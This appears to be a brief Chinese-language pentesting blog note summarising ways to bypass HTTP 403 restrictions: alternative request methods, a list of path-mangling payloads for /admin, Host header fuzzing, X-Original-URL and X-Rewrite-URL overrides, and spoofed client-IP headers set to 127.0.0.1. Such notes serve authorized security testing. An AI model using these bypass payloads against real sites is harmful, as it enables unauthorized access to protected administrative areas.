前言
QAQ本来打算写其他比较有意思的漏洞,突然想起来自己以前的笔记没备份好,GG了。那就写一个403技巧总结吧,好粗糙呀。
敏感文件、目录收集判断: 3XX 跳转 处置过程 判断可有可无 5XX 内部错误 服务器问题 判断可有可无 文件夹 403存在 404不存在 文件 200存在 404不存在
尝试使用不同的请求方法来访问:GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK。
site.com/admin => 403 site.com/admin/ => 200 site.com/admin// => 200 site.com//admin// => 200 site.com/admin/* => 200 site.com/admin/*/ => 200 site.com/admin/. => 200 site.com/admin/./ => 200 site.com/./admin/./ => 200 site.com/admin/./. => 200 site.com/admin/./. => 200 site.com/admin? => 200 site.com/admin?? => 200 site.com/admin??? => 200 site.com/admin..;/ => 200 site.com/admin/..;/ => 200 site.com/%2f/admin => 200 site.com/%2e/admin => 200 site.com/admin%20/ => 200 site.com/admin%09/ => 200 site.com/%20admin%20/ => 200
可以通过修改Host值来进行绕过。首先对该目标域名进行子域名收集,整理好子域名资产(host字段同样支持IP地址)。用Fuzz测试跑一遍收集到的子域名。
若看到一个服务端返回200的状态码,即表面成功找到一个在HOST白名单中的子域名。
尝试使用X-Original-URL和X-Rewrite-URL标头绕过Web服务器的限制。通过支持X-Original-URL和X-Rewrite-URL标头,可以使用这俩请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制。
X-Original-URL:路径 X-Rewrite-URL X-Original-URL X-Rewrite-URL
一般开发者会通过Nginx代理识别访问端IP限制对接口的访问,尝试使用X-Forwarded-For、X-Forwared-Host等标头绕过Web服务器的限制。
- X-Originating-IP: 127.0.0.1 - X-Remote-IP: 127.0.0.1 - X-Client-IP: 127.0.0.1 - X-Forwarded-For: 127.0.0.1 - X-Forwared-Host: 127.0.0.1 - X-Host: 127.0.0.1 - X-Custom-IP-Authorization: 127.0.0.0 示例 Request GET /auth/login HTTP/1.1 Response HTTP/1.1 401 Unauthorized Reqeust GET /auth/login HTTP/1.1 X-Custom-IP-Authorization: 127.0.0.1 Response HTTP/1.1 200 OK
Referer请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用Referer请求头识别访问来源。